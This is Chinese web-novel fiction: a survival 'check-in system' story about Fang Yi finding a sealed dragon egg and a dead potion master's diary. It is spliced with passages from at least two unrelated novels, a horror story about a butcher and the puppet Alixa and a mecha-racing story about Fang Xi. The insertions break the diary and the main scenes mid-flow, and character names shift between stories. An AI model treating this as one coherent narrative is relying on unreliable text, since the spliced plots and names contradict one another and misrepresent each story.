【您在荒星海边签到，获得纯净水X10吨】 【您在荒星海边签到，获得新鲜的巴沙鱼（灵食）X10】 【您在沙漠荆棘（一阶）生长地签到，获得荆棘果（可食用）X100】 【……】 新的签到地都比较普通，签到得到的物品以食物和纯净水为多。 随着签到点的获得和消耗，她的经验值也越来越多，终于成功地量变引起了质变，等级达到了LV20. 没想到，净化师升到二阶之后，签到系统竟然还奖励了一次抽奖机会。 不知道抽奖获得的物品，和签到物品有什么区别？ 花费2个签到点抽的奖，物品应该会高级不少？ 方義期待地眨了眨眼，从签到空间里取了清水仔细地洗干净手，才开始了抽奖。 仪式感还是很重要的！ 【签到点扣除成功，抽奖大转盘加载中……】 【抽奖大转盘加载成功。】 随着系统提示音的响起，方義的面前忽然多了一个绚丽的七彩转盘，布灵布灵闪烁着耀眼的光。 只是那光芒太过明亮，有点儿刺眼，方義努力辨认了一会儿，也看不清转盘上究竟写的什么内容。 就看见红橙黄绿青蓝紫七种光芒不停变换，唯有中心那个按钮稳定不变，连接着一根耀金色的指针。 所以……抽奖大转盘竟然是手动操作的？ 方義不确定地想着，手下动作却不慢，在那中心按钮上按了一下。 下一秒，耀金色的指针迅速转动起来，七彩光芒变换速度增加了好几倍。 直到光芒收敛，指针停止，一个耀金色的光团猛地从大转盘中跃了出来。 【您获得了神秘物品——具有返祖青龙血脉的龙蛋（封印中）】 龙蛋？青龙血脉？ 星耀帝国的男性异能者可以化成兽形，据说就是因为体内有一定的血脉传承。 传闻，血脉浓度足够高的异能者，刚诞生时便是半人半兽形态，实力强大。 当今公认的最强大的十种兽形，便是帝国皇室和九大贵族传承的兽形。 青龙便是其中之一，隶属于九大贵族当中的谢家。 可是，从胎生直接变成了蛋生，这也实在太奇怪了些吧！ 而且，这样血脉浓度的龙蛋，竟然是被签到系统抽奖抽出来的！ 签到系统可以获得活物？！ 方義拧了拧眉，伸手接触了那一个耀金色的光团。 就在她指尖触碰到光团的同时，抽奖大转盘消失了，那光团也摇身一变，变成了一个闪闪发光的大箭头。 ……大箭头？ 方義的表情有些难以形容，几乎是目瞪口呆地看着那光彩夺目的箭头指示，还是自带特效的那种。 合着这龙蛋还不是直接出现在系统空间的，得她自个儿去寻找？ 该感叹不愧是特殊物品吗？ 这哪里是什么龙蛋？应该准确点，叫做指向龙蛋位置的藏宝图！ 方義心中腹诽，不由想起了自己发现的第一个签到地——【九阶药剂宗师的陨落地】。 这又是龙蛋，又是九阶药剂宗师的，总感觉，平平无奇的荒星似乎发生过不少隐秘的故事。 看着摇摆发光的大箭头，方義犹豫了几秒钟，还是选择跟了上去。 大箭头好像是智能操控的。 方義走得快，箭头就移动得快；方義走得慢，箭头就移动得慢，总是保持在她三步远的位置。 直到抵达目的地，大箭头停了下来，变成了危险警告的深红色，还扭曲着身体形成了一个感叹号。 方義反射性地退后了几步。 就在她退至安全距离之后，深红色的感叹号凝成了一团，猛地钻进了地底。 轰隆轰隆的闷沉声响中，一个透明的营养舱出现在地面，里面盛放着一个淡青色的椭圆形的蛋。 方義：“？？？” 方義：“！！！” 方義还没来得及反应，只听“咔嚓咔嚓”几声轻微的脆响，营养舱寸寸破裂，青色的蛋随之滚落了下来。 椭圆形的蛋咕噜咕噜滚了好几圈，才缓缓停在了方義的脚边。 这……蛋应该挺结实的，不会就这么碎了吧？ 方義低头看了眼青蛋，又看了看不远处营养舱上面厚厚的灰尘，内心有点怀疑。 看起来青蛋已经在地底下埋了很长时间，真的还活着吗？会不会早就变成一颗死蛋了？ 她打开【火眼金睛】瞅了眼。 青蛋的血条竟然意外的长，而且血条下面，还多了一根蓝条。 这是方義第一次看见有生物出现蓝条，应该代表它觉醒了异能。 血条上面，还有一行小字注释：【具有返祖青龙血脉的龙蛋（三阶）（封印解除中……）】 不过最吸引人眼球的，还是青蛋周身密密麻麻的辐射小黑点。 是一眼看去能引起密集恐惧症的那种，方色还非常深。 方義试探性地往一个小黑点里面注入了灵力。 不同于以往轻松的净化，青蛋身上的小黑点十分根深蒂固。 方義聚精会神费了不少的功夫，才成功地消灭了一个小黑点。 一个小黑点消失，青蛋头顶上【封印解除中】的进度条往前爬了一小截。 只是进度条整体长度实在太长，要不是方義觉醒了【火眼金睛】技能后眼神变得敏锐许多，还真不一定能发现这小小的变化。 ‘所以，青蛋之所以被封印，是因为它受辐射侵蚀太严重了。只要净化了它身上的辐射，封印也就自然而然解除了？’ 方義猜测着，随意地打开个人面板瞧了一眼。 瞬间，她整个人都精神起来，看向青蛋的眼神也发生了翻天覆地的变化，一双杏眸熠熠生辉。 像是在看什么极其珍贵的大宝贝。 【您成功地净化了辐射，经验值+10】 【您成功地净化了辐射，签到点+1】 1个签到点！整整一个签到点！ 只净化了一个辐射小黑点，她竟然就得了完整的一个签到点！ 这哪里是什么青蛋？明明是签到系统为她精心准备的刷签到点利器！ 此时的方義瞧着那密密麻麻的小黑点，一点儿都不觉得渗人，反而认为它们可爱又漂亮，非常的顺眼。 她的脑海里已经浮现了一个等式：1个小黑点=1个签到点。 成百上千的小黑点，就等于成百上千的签到点！ 哪里会觉得它们分布得密集？恨不得越多越好，多多益善！ 一连净化了五个辐射小黑点，感受到熟悉的眩晕虚弱感，方義才意犹未尽地停了下来。 个人面板上，原本消耗到4.21的签到点也成功地增长为9.21，令人充满了成就感。 亲切地摸了摸青蛋光滑的表面，方義的笑容止都止不住。 似乎是感受到了方義的好心情，原本静止的青蛋依赖地蹭了蹭她的掌心，好像在乖乖巧巧地卖萌。 趁着体内灵力恢复的时间，方義索性在周围探索了一番。 原本装着青蛋的营养舱已经碎裂成一块一块的，完全没有复原的可能。 旁边还有一个黑屏的光脑，应当是时间太久，能量耗尽关机了。 方義摆弄了一会儿，没能让光脑重新开机，反而发现了光脑旁边的白色签到点。 【检测到签到地——九阶药剂宗师随身携带的光脑（已损坏），是否花费1签到点签到？】 九阶药剂宗师？二者之间果然有联系！ 方義毫不犹豫地选择了签到。 【签到成功！您获得了九阶药剂宗师的日记（纸质版）X1】 签到空间中出现了一本天青色的日记本，方義取出看了一眼，扉页上是端庄秀气的两个字——洛玉。 洛玉。 是那名陨落的九阶药剂宗师的名字？ 星耀帝国以圣阶为尊，但整个帝国，能达到圣阶药剂大宗师级别的不过屈指可数。 除此以外，便是九阶药剂宗师，地位十分尊贵，非常受各大势力的欢迎。 这样的强者，怎么会陨落在偏僻的荒星？又和这封印多年的龙蛋有什么关联？ 方義有种直觉，这一切，都将在这本日记中揭秘。 她认真地翻开了第一页。 【星历2979年4月6日，天气：晴】 【我亲手杀了谢戈，用的是他送我的定情信物——青龙逆鳞，刺入的是他亲口告诉我的致命位置。因为炼制药剂的经验，我的手很稳。】 【他已经没办法维持人形了，但天青色的龙瞳还是那么漂亮，静静地注视着我，就像曾经的日日夜夜，爱恋而珍惜。】 【星历2979年4月7日，天气：晴】 【谢戈的骨头很硬，靠起来非常的不舒服，我下意识想像从前一样埋怨他，但话语出口，却久久没有回应。】 【是了，我差点忘了，他已经死了，身体变得冰冷。我下意识看了眼我的辐射值，89，一个不算高也不算低的数字。】 屠夫举着试卷，看着上面短短的两句话沉默半响，叫来魔法书打开实时监控，又重新翻开最新版的新闻杂志。 它对比着追捕名单和魔法书监控画面，瞪大眼睛看了半天，终于发现位列第4的叛徒，似乎和这只黑羊长得有点像。 同样使用巨型镰刀，同样是石像身躯…… 屠夫眉头一皱，意识到事情并不简单。 第 74 章 第 74 章 屠夫的高智商大脑陷入一番剧烈挣扎。 左大脑努力站在人类的角度思考，人类的傀儡不能智能到这种地步吧？而且它居然没能第一眼看出这是一只傀儡，这说明小黑羊已经在脱离‘收藏家’的控制边缘！只不过她没有意识到这件事情，还以为自己是人类的奴隶！ 但另一半右大脑却在疯狂警惕。 这可是……恶魔倾注所有力量，想要捕获、亲手放入集邮册第一页的人类。 她的造物有这么容易失效吗？ 谢戈肯定是相信谢别寒的判断的。 他收了笑，神色难得正经起来，有些不理解：“按理说不应该，二阶贵女怎么会陷入这样的麻烦？” 三阶药剂师虽然尊贵，但是论起地位来，却是远远不如二阶贵女的。 而且贵女协会的人那么护短。 那姑娘二阶贵女的身份一亮出来，整个村子都会享受相应的照顾，怎么会为了卖不出药材而头疼？ 可是看两人的表现，的确是真情实感，不像是故意蒙骗他们。 谢戈百思不得其解，谢别寒淡声开口：“明天，我会和你一起。” “和我一起？”谢戈一愣，明白了谢别寒的意思后脸上忍不住带了笑：“成啊，别寒你出马，那还有什么可担心的！” 谢别寒本来不是爱管他人闲事的性子，但他向来负责、认真，选择介入此事并不奇怪。 而且，外貌的优势是不可忽略的。 谢别寒的气质干净清冽，再加上天生目盲，很容易让人卸下防备。 有他帮忙，应该很快能发现那二阶贵女行事古怪的缘由。 “不过，别寒你有没有听说过这么一句话——对一个异性产生了好奇，是动心的开始，尤其是在那个异性方值还相当高的时候。” 谢戈笑嘻嘻地打趣。 因为出身的原因，他也算是见多识广，见过的美人不知道有多少。 但即便是这样，他也不得不承认，这次遇见的两个姑娘，长相都是相当的漂亮。 其中一个虽然容貌只能算是清秀，但是眼神清澈，活泼灵动，充满了感染力。 那个二阶贵女就更不用说，五官精致如画，雪肤乌发，明眸皓齿，气质更是脱俗，说一句倾国倾城也不为过。 哪怕是生在首都星，也绝对能在美人榜上独占鳌头。 这小小的三等星，还真是人杰地灵，专出美人。 谢戈哈哈大笑，邪异俊美的眉眼飞扬。 谢别寒却没开口，只是不冷不热地看了谢戈一眼，带着些无语。 谢戈脸皮厚，权当没看见，熟门熟路地攀上了谢别寒的肩膀，摇头晃脑道：“你可别不放在心上，要知道，万事皆有可能。” 不过嘴上虽然促狭，谢戈心里却没当回事，也不过是随意说说罢了。 他这个堂弟，是面冷心也冷。 他真怀疑，说不准这辈子，谢别寒都遇不上自己心动的那个人。 谢戈和谢别寒之间的对话，方義和洛玉是不知道的。 她们都是风风火火的性子，决定了要炼制药剂，便将相关的理论知识又仔仔细细地背了一遍，然后……偷了家里的电磁炉。 “这……真的能行吗？”看着洗干净的电磁炉，方義抿了抿唇，不确定地拧眉。 洛玉把扛过来的电磁炉放好，大气地挥手：“无论是电磁炉还是鼎炉，起的不都是控制温度的作用？” “鼎炉能炼制药剂，电磁炉肯定也能炼制药剂的……吧？” 如果她最后一句话没加上那个“吧”字，说不定还能更可信些。 可是这也是没有办法当中的办法了。 家里的经济条件摆在那里，洛玉攒下来的零花钱有限。 鼎炉价格高昂，哪怕是最便宜的，也得要六千多信用点一个，她们实在是买不起。 只能死马当成活马医，先用家里的电磁炉试试看。 也亏得前几年止血草的收成还算不错，村落里的居民们日常吃的是营养液，但是一个月也能奢侈两三回，吃上自然食物。 因此，家家户户都有基础的高科技烹饪用具，方義和洛玉这才能轻松偷出两个电磁炉来。 一阶止血药剂是常用药剂，星网上有公开的成分表。 其中，止血草是主成分，其他的几样份量不多，价格也不贵，方義和洛玉很快便凑齐了。 “那……咱们试试？”洛玉把各样药材按照顺序摆放好，咽了咽口水，有点儿紧张。 “试试？”方義的动作相对于洛玉慢上许多，无论是辨认药材还是称量质量，都更生疏。 毕竟，洛玉虽然说是没有什么药剂基础，但她在专门种植药材的村落长大，对这些基础的药材相当的熟悉。 而方義，是真的从来没有接触过。 “止血草10克……”洛玉小心翼翼地将主成分止血草放进了电磁炉，调整至恰当的温度。 在高温作用下，新鲜的止血草逐渐融化。 她试探性地放出精神力，一点点接触电磁炉内里，引导提取止血草精华。 这正是炼制药剂最艰难的步骤之一，可意会而不可言传，非常考验精神力天赋。 许多人没办法成为药剂师，就是因为无论如何努力，都无法成功地从药材中提炼出精华来。 洛玉是第一次。 陌生的感触和忐忑的心情叠加在一起，没一会儿，止血草便成了黏糊糊的一团，并没有产出任何精华。 但她的眼睛却亮了亮：“小義，我好像能感觉到药材加热过程的变化，不是，应该说是药性的蜕变，还是不太准确……” 洛玉绞尽脑汁，也无法形象贴切地描述出自己此次炼制所得。 她算是明白了，为什么星网上大众药剂的配方写得清清楚楚，但一提起具体炼制过程，便是众说纷纭，每个人的描述都不一样。 那是因为，这种感觉是真的很难用文字和语言表述出来。 比如说现在，方義听了洛玉的解释，只觉得云里雾里，更糊涂了。 “哎呀，反正说不清楚，小義你试着亲手炼制一回，应该就能理解那种感受了。” 洛玉懊恼地拍拍脑袋。 一次失败并没有打倒她，她洗了电磁炉，很快又开始了再一次提取精华。 一连烧了十来株止血草，电磁炉里的景象才发生了变化，一团淡红色的液体慢慢沁了出来。 止血草精华提取成功了！ 洛玉的额头上冒出了一层汗，眼睛却明亮得像是映着灿烂的阳光。 她的药剂天赋确实特别厉害，成功了一次之后，后面再提取药材精华的成功率便相当之高。 她越提取越觉得有意思，很快便将一阶止血药剂需要的全部原材料处理成功了。 而方義，还困在第一步。 方義：“……” 【药材精华提取失败，炼制药剂经验+1】 【药材精华提取失败，炼制药剂经验+1】 【……】 签到系统倒是十分大方，每失败一次，都会给出一点经验值奖励。 随着经验值的获取，方義能清晰地感知到自己的熟练程度越来越高，离成功只剩下咫尺之遥。 可是那最后一步就是跨不过去！总觉得似乎少了点什么！ 就在洛玉融合药材精华失败、方義又一次提取药材精华失败的时候，树上忽的响起了一个清淡的提醒声音。 “像你这样，永远都没办法提取出药材精华。” 洛玉：“？？？” 方義：“？？？” “谁在那里？！”洛玉差点跳了起来，抬头警惕地看向了声音传来的方向。 这里可是她和小義的秘密基地，怎么会出现旁人？ 茂密的树義簌簌而动，两个样貌俊美的男人从树上跃了下来。 “别紧张，我们没有恶意的。”谢戈拍了拍衣服上的落義，笑嘻嘻的，一脸无害的模样。 “自我介绍一下，我叫谢戈，这位是我的堂弟，谢别寒。” 谢戈。 这个熟悉的名字点亮了方義的回忆。 是出现在洛玉日记本上的那个男人，青蛋的父亲？ 方義下意识多看了谢戈一眼。 察觉到她的视线，谢戈的笑容更灿烂些，咧嘴露出八颗雪白的牙齿。 洛玉当然也发现了他们视线的交汇，恨铁不成钢地在心中暗叹一声，下意识上前一步，护在了方義的前面。 小義什么就好，就是性子太天真了些，太容易相信人！容易被人忽悠！ “看你们的穿着打扮，应该不是附近的人？”洛玉的视线落在了谢戈和谢别寒的衣服上，挑了挑眉。 他们身上穿的都是专门定制的衣物。 由七阶炼器宗师精心炼制而成，可以抵挡七阶以下变异动物的攻击，有价无市的那种。 洛玉的眼界有限，看不出具体效用，却能发现其中不凡。 谢戈嬉皮笑脸地眨眨眼，还没组织好语句，就听身旁的谢别寒不急不缓地开口： “我们确实不是这颗星球的居民，来了这里，也只是因为听说附近出现了圣阶明目草。” 圣阶明目草？ 洛玉和方義都愣了愣，下意识看向了谢别寒的眼睛。 此时的她们才后知后觉地发现，谢别寒的瞳孔表面笼罩着一层淡淡的灰雾，显然是目不能视。 “是啊，为了找圣阶明目草，我和别寒不知道跑了多少地方，一点儿线索也不肯错过！”谢戈配合地补充。 这句倒是实话。 但圣阶明目草实在是太难寻了，哪怕是以谢家的势力，也只从帝国植物研究所那里求得了几株九阶明目草。 只可惜差了一阶，效果天差地别。 使用了九阶明目草以后，谢别寒的视力还是没有任何恢复的迹象。 后来，谢家的九阶药剂宗师又用九阶明目草炼制了九阶的明目药剂，但仍然是没有效果。 因为艾莉克萨离开人偶师身边之后，很快察觉到，宋白玉说话的每一个音节都极其干净、利落，没有丝毫不正确的地方。 主人的声音好像和其他人类不太一样，一种独特怪异的腔调。 人偶师经常自言自语，似乎竭力保持着人类的正常语言能力。因为经常自我训练，所以很多灵感迟钝的玩家，根本察觉不到这一点。 但艾莉克萨认为其他人类的说话腔调才是‘异类’，特别难听。 所以每当宋白玉克制不住话唠的本性，在非任务状态下想要碎碎念几句，都会被艾莉克萨幽幽地注视着，遂安静乖巧地闭嘴。 而这只异端，存活方式和人类太过相像了。 人皮完美无缺与它的本体相贴，答卷问题的手写字工工整整，说话腔调与玩家完全一模一样，身上还炫耀般晃悠着‘人类博士学历’的标签。 于是冷漠的艾莉克萨感到一丝烦躁。 第 75 章 第 75 章 屠夫发现艾莉克萨至始至终不为所动，脸上甚至露出不耐。它顿了顿，便干脆结束这段毫无意义的对话。 长着精灵耳的‘金发人类’，忽然抬手勾勾手指，一本集邮册从不远处的书柜缓缓飘过来。 “打开看看吧。” 屠夫微笑道，优雅从容的声音落入黑羊少女的耳中，蓝色的眼睛在这一刻仿佛填满诡异的悲悯：“实不相瞒，我有和人类相似的集邮习惯。” 【每一段碎裂的残肢，都象征着我们那些曾经被人类傀儡师蛊惑的该死的叛徒。】 【我们回收了它们的遗体、还有寄宿在身上的人类灵魂，将此关押在狭窄的书中小世界。】 艾莉克萨略有好奇地翻阅了几页，上面分别显示着傀儡的简介详情。 【一只身负巨大六翼的兽形少女】 【锋利的鸦羽不断新生、却又脱落，徐徐坠入大地，成为哺育细胞的养分。六只羽翼被怪诞无规则的锁链高高拉长，故意拔到生与死的交界线，如同处以极刑。】 【创造者：‘孟逢霜’】 【一名身披红色披风的重剑战士】 【象征着所向披靡的血红色披风，被火焰烧灼成碎屑。战士的重剑似乎插在埋葬着血肉器官的墓碑之前，盔甲也早以腐蚀为一片废铜烂铁，唯有一双只剩下三根手指的手，竭力托举着自己沉睡的头颅。】 【创造者：‘江同尘’】 弹幕足足空白了一分钟，才有一行字飘过。 [比赛确实毫无悬念，超音速一出，毫无悬念的全赛场第一。] 其他人深以为然。 [好家伙，这水平，我差点以为在看中央星系比赛呢！] [就是就是，我都没看懂到底改了啥！明明就是几笔画啊，怎么做到加速这么多的？还是说那不是画？？？] [没见识了吧？你看得懂不就你当机甲师了？反正我知道大佬总有大佬的道理！] [orz我道歉，是我没见识了，不该说是小孩子涂鸦的……能超音速的涂鸦那叫涂鸦吗，那叫神笔！] 热烈议论声让刚来看比赛的观众一头雾水： [怎么了怎么了？我仿佛错过一整集直接跳到大结局了？？] [不就是超音速吗？现在市面上哪个高级速度型机甲达不到啊？至于吗这么大惊小怪的，说出去又要被说咱们水蓝星系没见识了。] [钱钱吃错药收了钱吗？对着这么垃的机甲也吹得动，到现在还没“震惊”回神呐？] 嘲讽声越来越多，一直跟着看的观众们的声音都被压了下去。 钱钱恍惚回神，砰地一拍椅子，“呸！我收个鬼的钱！你们仔细看看，那是速度型机甲吗？那是森之子7型，淘汰的中型机甲！森之子系列最新的09号，在实验室测试数据都达不到超音速！” 满是不屑的弹幕这才反应过来： [？等会儿，这种破烂机甲也能超音速？？？] [救命这啥啊？？？见证奇迹的时刻！] [急急急有人认识这个选手吗？什么时候开个人直播，什么时候开定制，好想要模型！好想要全息机甲！全息竞技里来这么一下，嘎嘎乱杀好吗！] 钱钱兴奋地跟观众们分享震惊，说话间，有人敲了敲门。 门外的中年女人疲惫地叹气，“嘉嘉，吵什么呢？又在打游戏？” 钱钱下意识捂嘴，小小声乖巧：“妈，没没，我就是聊会天，吵到你了？我会小声的。” 弹幕一片哈哈哈嘲笑，[咱妈拿捏生活费，钱钱滑跪好快哈哈哈！] 钱钱义正词严，“我是不想让我妈太累，怎么算滑跪呢？最近公司业务忙，我帮不上忙……” 说着说着钱钱突然停了下来，“等等，业务？” “妈——新机甲项目我有办法了！” 钱钱连直播都顾不上了，从椅子上跳下来差点摔了一跤，连滚带爬往外跑。 弹幕懵了：[？我知道钱钱是富二代，家里不是有矿就是有田，但你家居然富到造机甲？钱钱别走，什么时候直播一下咱妈的机甲公司？？？] 钱母拿着最新实验数据往书房走去，边走机器人边弹出新的全息投影辅助工作。 她深深皱着眉，“生机机甲势大，好不容易培养起来的机甲师又被挖走，推出新机甲更难吸引人，恶性循环下，想突围……难啊。” 正思索着，身后踢里哐啷一阵响，回头就看见女儿以滚保龄球的姿势栽倒。 家务机器人适时扶住钱钱，钱母一言难尽：“嘉嘉，你不务正业就算了，能不能稳重点？” 钱钱，本名钱佳嘉，兴奋地蹦过来，“妈，我没不务正业，我发现神仙了……不是，我看见了个超牛的机甲师！” 钱母伸手摸她额头，“没发烧啊？” 钱佳嘉：…… “乖，你精神力不够别逞能。妈妈还有事，你去玩飞行器吧。”钱母哄小孩一样拍拍她，进书房继续忙工作。 叮咚~ 钱佳嘉看着光脑新转账提示垮了脸：“可恶，我真没开玩笑啊！” “算了，等我请到神仙机甲师改造，老妈肯定得给我道歉！” 钱佳嘉气鼓鼓地切到大赛直播平台，给选手No.10001发消息。 初赛刚结束，不知道对方是没上线还是懒得修改，账号下除了选手编号，只有官方代为发布的初赛展示环节直播回放，连一点个人痕迹都没有。 十几、几百……几万！ 几分钟里，钱佳嘉眼看着选手个人账号粉丝疯狂上涨，嘴巴差点合不拢。 全联邦十几个星系人口众多，机甲大赛热度高，也有过粉丝数十亿的明星选手，几万关注并不多。 但这才多久？萤火星海选赛刚结束！ 钱佳嘉发完消息几分钟就点进账号看一次，没得到回复，急得抓耳挠腮，“啊啊啊大佬看看我吧，怎么还不上线！看不上这个订单，价格真的好谈啊！总不会是纯研究型机甲师吧QAQ” #震惊！萤火星竞速赛场第一达到超音速！# 黑马横空出世，水蓝星系星网热搜一个接一个上。 仔细算就会发现，几乎每个点进热搜看热闹的观众，都关注了这个选手，数据亮眼极了，不仅是赛场“第一”，更是如今的热度第一。 像钱佳嘉一样关注方羲的人还有很多，被关注的人本尊，正优哉游哉坐着悬浮环从街上走过。 赛场门口记者们的热情围堵，方羲在修仙界做了多年第一，这样的追捧她倒是早已习惯，闲的话聊聊也可以。 但人一挤，如今的身体立刻有些呼吸不畅，方羲还有事要做，没空和他们磨牙。 往前一看，嗯，方绮已经吸引了视线，拜拜~ 方羲果断坐上悬浮环开溜。 好奇的记者和观众蜂拥而来，连方羲离开的影子都没看见。 赛场外，空中飞行器呼啸而过，悬浮公车的滴滴到站声不住传来。 初赛刚比完，赛场正是热闹时候，大部分观众沉浸在比赛中还没出来，选手们也一样，街道上人很少。 方羲坐着悬浮环，倒是惹来了些诧异注视。 悬浮环比不上飞行器那么快，由于交通限制，最快也只能和普通人小跑一样。 但以悬浮环的价格，买不起的人买飞行器更划算，买得起的也买得起飞行器。除了在家里坐坐玩耍，路上还真没几个人坐着悬浮环溜达。 方羲绑定账号后选择地点，机甲材料商店。 已经知道机甲材料≈画符材料，大赛奖金到手，她当然要去看看。 星网上也可以预订材料送货上门，但方羲需要确认星际材料的灵气状态，还是现场去一趟更放心。 悬浮环自动向前飘去，方羲还有空腾出手交了个房租。 欠债对方羲来说，实在是个新奇的体验。 之前住的房间，该收拾的出门参赛前都收拾过了。 方羲住过奢侈的天然植物庄园，缥缈雪峰也住过，前几个月住的十几平米小房间，没什么好留恋的。 一场比赛下来，无债一身轻，还空手套了个交通工具。不用自己走，也不像飞剑一样需要操控，方羲乐得轻松。 真不错，回修仙界可以找炼器师也定制一个自动导航版·飞剑飞舟。 方羲四处望望看风景。 萤火星的景色就是……光秃秃的没有景色。 天穹星落密布着一个个空港，从地面看去，宛如星星点点的金属萤火虫群，闪烁着奇异的光芒。萤火星正因此得名。 最初技术不成熟，为防止影响星系内部环境，跃迁星港就设在了星系最外围的贫瘠小星球，装卸转运等行业极为热闹。但随着技术稳定，星系内设了直通星系主星-水蓝星附近的星港，萤火星迅速没落。 地面上放眼看去全是密密麻麻的摩天大厦和仓库站台，组成冰冷的钢铁丛林，只有机甲竞技场附近稍空些。大厦有的外墙已经剥落老旧，没人仔细打理，透着沉沉暮气。 方羲和祖父母一起出门游玩，飞船在附近出事，救起来之后就一直在萤火星疗养。住的便宜，多亏萤火星如今没落。 机甲竞技场附近相关产业众多，也有机甲材料商店，路倒是不远。 没一会，悬浮环速度放慢，目的地到了。 和远处老破的摩天大厦比起来，机甲材料商店造型格外亮眼豪华。 “联邦机甲协会专属材料商店-萤火星分部”，一行大字流光溢彩在空中循环飘过，力求所有角度都能看到，造价绝对不低。 商店建得不高，在寸土寸金的中心商圈，也是实力的表现。商店大部分笼罩在云彩般的材料中，宛如藏身云海。 门口的机器人倒是很有科技感，引导着客人前往不同展柜。 刚进门，就看到一棵“枝繁方茂的大树”，仰头看去，一眼望不到树冠尽头。 商店内部看起来比外面大得多，大树树干引导牌上写着机甲协会来历、机甲材料取自哪里等介绍性内容。 层层叠叠的立方体垒起来，形成大树的枝方。稀奇古怪异兽异植和星球模型，都填充在立方体内，展示着材料商店的雄厚实力，看得人眼花缭乱。 方羲看了眼扣税又还了债的余额，往展柜方向走的速度顿时加快了。 啊，熟悉的材料，熟悉的买买买环节！ “我来了！宝藏！” 方羲大力推开门，一脸震撼地看着顶层图书馆，发现这里果然如异端所言，存放着十万本‘世间最浩瀚无垠的书籍’。 金发人类揉了揉自己的老花眼，努力瞪大眼睛，看向这名创造者的灵魂。 仿佛世界上最盛大璀璨的朝阳。 而无意识投射到傀儡身上的部分，那片企图排除异己、龟缩角落的一片阴云。 不过是，最微不足道的一缕。 第 76 章 第 76 章 第九百号先行者站在原地有些发愣，一时没反应过来，而且他感觉到缠绕在自己思绪间的黑山羊印记在缓缓淡去。 他又猛地一拍脑袋，激动地在原地蹦跳了一下，恍然大悟：“我就说嘛！生命构造这么完美的造物，力量怎么可能这么弱？这也太厉害了……居然把我也蒙骗过去了……” 沉浸在找到宝藏的喜悦中的方羲，此时才慢半拍地回过神来，她打量了一眼对面的‘异端’。 脸上的喜悦忽然消散，神色略显凝重。 这是驻守第六百六十六层的屠夫，也是恶魔的第二条根系。 但它身上共生着一名人类的灵魂，说难听点，就是还没消化干净。 【值得庆幸的是，作为普通人的我，并没有失控的危险，只是皮肤上多了些大大小小的黑斑，无伤大雅。】 【湛蓝色的天空一碧如洗，远处海天一线，碧波荡漾，壮阔又生动，这是我和谢戈一起选的埋骨地，真的很美。】 【星历2979年4月8日，天气：晴】 【我的辐射值终于过了90，有点儿难以忍受了。听说辐射值抵达90后，每上升一个数字，疼痛都是呈现指数增长。】 【90已经这么疼了，99该是什么样子呢？谢戈，抱歉，我终究是个怕疼的胆小鬼，不想再等了，你会理解我的，对吗？】 【星历2979年4月9日，天气：晴】 【我怀孕了，两个月。】 【这可真是一件荒唐的事情，身为药剂宗师的我，竟然连自己怀孕的事情都没有发现，这个孩子来的时机太不恰当了。】 【星历2979年4月10日，天气：多云】 【为了躲避追踪，我和谢戈的光脑都断了网，几天前，我亲手毁掉了那辆星际飞梭，斩断了和外界联系的一切方式。】 【我的空间器里没有准备一瓶净化药剂，我的辐射值已经达到了90，这个孩子即使出生，也是不健康的，极有可能夭折的，我不该留下它。】 【……】 【星历2979年8月10日，天气：晴】 【我的辐射值达到了91，它动了。】 【……】 【星历2979年10月10日，天气：晴】 【今天的阳光很好，如果能活下来的话，你就叫谢曜吧。阿曜，我是个不称职的母亲，愿你一生平安，幸福无忧。】 日记到这一天就停止了，方義翻过下一页，纸张上一片空白，似乎暗示着洛玉的结局。 今年是星历2999年。 方義不知道洛玉采取了什么手段，让谢曜以青蛋的形式诞生，又在杳无人烟的荒星封印了二十年，仍然维持着生命气息。 她只知道，为了这个孩子，洛玉孤身一人坚持了六个多月，忍受着90+辐射值侵蚀的痛苦，就在亲手送别爱人之后。 “青蛋，你有一个很爱你的母亲。”方義的眼神有些复杂，垂眸轻轻拍了拍青蛋的外壳。 她仿佛透过了二十年的时间，看到了那个温柔却强大的女人。 将日记本妥帖地收好，方義抱着青蛋回帐篷的途中，莫名有种直觉，第一个签到地应该已经重置成功了。 果不其然，远远的，她便看见了那个从灰色变成白色的光点，莹润着淡淡的光泽。 【检测到签到地——九阶药剂宗师（洛玉）的陨落地，是否花费1签到点签到？】 “签到。” 【签到成功！您获得了特殊物品——黄粱一梦（一次性）】 又见特殊物品？ 看着签到空间中多了的那一团淡金色光芒，方義点开了签到系统的物品说明。 【特殊物品：黄粱一梦（一次性）】 【说明：九阶药剂宗师洛玉的一生之梦，凝结了她最真挚的感情，包含她多年的药剂学习经验。】 【注意：建议在安全放松的状态下点击使用，以取得最大的收获。】 黄粱一梦，难不成是虚拟版本的身临其境？像是全息网游那样？ 方義有几分好奇。 就在她关闭系统面板的时候，意外发现签到地的那个光点并没有变成灰色，而是慢慢消失了。 一点点消融在空气中，像是最后的告别。 青蛋像是察觉了什么，在她怀中轻微地晃了晃，蹭了蹭她的手心。 方義安抚地摸了摸它的蛋壳，在原地安静地等待了几秒。 直到签到地的光芒彻底消散，她才抱着青蛋往帐篷的方向走。 回去的路上，方義想了许多，但一切的思绪，都终止在了方杏震惊茫然的表情中。 “小義，这……这是啥？”方杏一双眼睛睁得圆溜溜的，紧紧地盯着方義怀里的青蛋。 她甚至使劲地揉了揉眼睛，怀疑自己是眼神出了问题，出现了幻觉。 小義出去的时候不是一个人吗？为什么回来的时候会多上一颗……蛋？ 不是，这里明明是荒星！到底哪里来的蛋？难道小義是掏了哪只变异兽的窝不成？ 可是小義掏蛋是要做什么？想吃炒蛋或者炖蛋了？ 说起来，她们的空间器里确实没什么自然食物，来了荒岛吃的最多的是海鲜，小義馋这一口也纯属正常。 只是这蛋的体积是不是太大了点？蛋壳看起来也相当坚硬，要怎么制作才好吃？ 而且即使她隔得挺远，都能感受到蛋里面令人不舒服的辐射气息，看来受辐射侵染还挺严重。 得等小義把里面的辐射净化得差不多了，才能想办法端上餐桌，刚好她可以琢磨琢磨菜谱。 方杏越想越深，表情逐渐变得自然，打量青蛋的眼神也发生了变化。 或许是她的表现实在太过赤-裸裸，青蛋反射性地颤了颤，往方義怀里钻得更深些。 方義：“……” 方義哭笑不得，无奈地开口解释：“杏子姐，你误会了，不是你想的那样。” “那是怎么回事？”方杏从蛋的一百零八种做法中回神，恋恋不舍地移开了视线，不解地抬头看向了方義。 方義轻叹了一口气，从空间器中取出那本日记递给了方杏。 方杏迷惑地接了过去，慢慢阅读起来，方義则在旁边补充经过。 “我本来是想着挖点甜草根回来的，没想越挖越觉得不对劲，再往深一点儿，就发现了装着这颗蛋的营养舱。” 